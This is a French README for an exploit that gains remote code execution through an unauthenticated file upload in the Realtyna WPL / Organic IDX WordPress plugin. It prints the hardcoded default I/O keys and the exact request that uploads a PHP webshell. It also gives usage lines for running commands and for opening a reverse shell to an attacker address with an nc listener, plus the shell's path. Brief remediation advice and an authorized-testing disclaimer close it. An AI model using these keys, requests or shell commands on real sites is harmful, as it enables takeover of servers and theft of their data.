
Exploit de téléversement arbitraire de fichiers sans authentification pour le plugin WordPress Realtyna WPL/Organic IDX, enchaînant le téléversement d'un webshell PHP pour aboutir à une exécution de code à distance (RCE), avec des modes d'exécution de commandes et de reverse shell.
Téléversement arbitraire de fichiers non authentifié menant à une RCE dans le plugin WordPress Realtyna WPL / Organic IDX (real-estate-listing-realtyna-wpl ≤ 5.2.0).
Le plugin enregistre un « service I/O » sur le hook public init de WordPress, accessible sans authentification à la racine du site via ?wplview=io&wplformat=io. La seule protection est une paire de clés par défaut statiques codées en dur fournies dans les migrations du plugin (identiques sur chaque installation), avec io_status activé par défaut :
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
La commande set_property (libraries/io/mobile_application/set_property.php → wpl_file::upload) enregistre le file[] téléversé avec move_uploaded_file et sans aucun contrôle d'extension/MIME, de sorte qu'un webshell .php peut être déposé et exécuté en tant qu'utilisateur web.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Uniquement la bibliothèque standard de Python 3 — aucune dépendance.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
avec un file[] multipart nommé image_<name>.php. Le préfixe image_ est supprimé, donc le fichier est enregistré sous le nom <name>.php.wp-content/uploads/WPL/<pid>/<name>.php, où <pid> est l'identifiant de la propriété créée par la requête (la réponse ne le renvoie pas). L'outil énumère les petits identifiants de propriété pour trouver le shell.…/<name>.php?c=<cmd>.Un site WordPress avec le plugin real-estate-listing-realtyna-wpl ≤ 5.2.0 actif. Le point de terminaison répond à GET /?wplview=io&wplformat=io (le service I/O du plugin).
Mettre à jour le plugin vers ≥ 5.3.0, valider les extensions/MIME des téléversements, ne jamais exécuter de PHP depuis wp-content/uploads et renouveler les clés I/O statiques par défaut du plugin.
Pour des tests de sécurité autorisés et à des fins éducatives uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.